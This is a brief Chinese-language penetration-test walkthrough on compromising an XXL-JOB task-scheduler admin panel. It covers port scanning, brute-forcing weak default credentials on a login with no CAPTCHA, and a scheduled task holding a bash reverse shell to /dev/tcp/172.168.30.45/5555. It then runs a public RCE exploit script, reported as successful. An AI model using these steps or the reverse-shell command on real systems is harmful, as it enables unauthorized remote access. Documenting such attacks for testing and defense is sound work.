XXL-JOB(任務調度中心)-反彈getshell

常規掃描

端口掃描掃出來9999 百度得出是xxl-job服務並爆出后台默認路徑

http://172.168.83.36:8080/xxl-job-admin/jobinfo

后台登錄沒有驗證碼 嘗試爆破一下弱口令

添加定時任務

bash反彈命令

/bin/bash -i >& /dev/tcp/172.168.30.45/5555 0>&1

命令執行不成功 bash會話並沒有反彈

下載漏洞exp

python3 E:\xxl-job-rce-main\xxl-job-rce exe-code.py

成功反彈

參考

[1] https://github.com/mrknow001/xxl-job-rce

[2] https://www.cnblogs.com/kbhome/p/13210394.html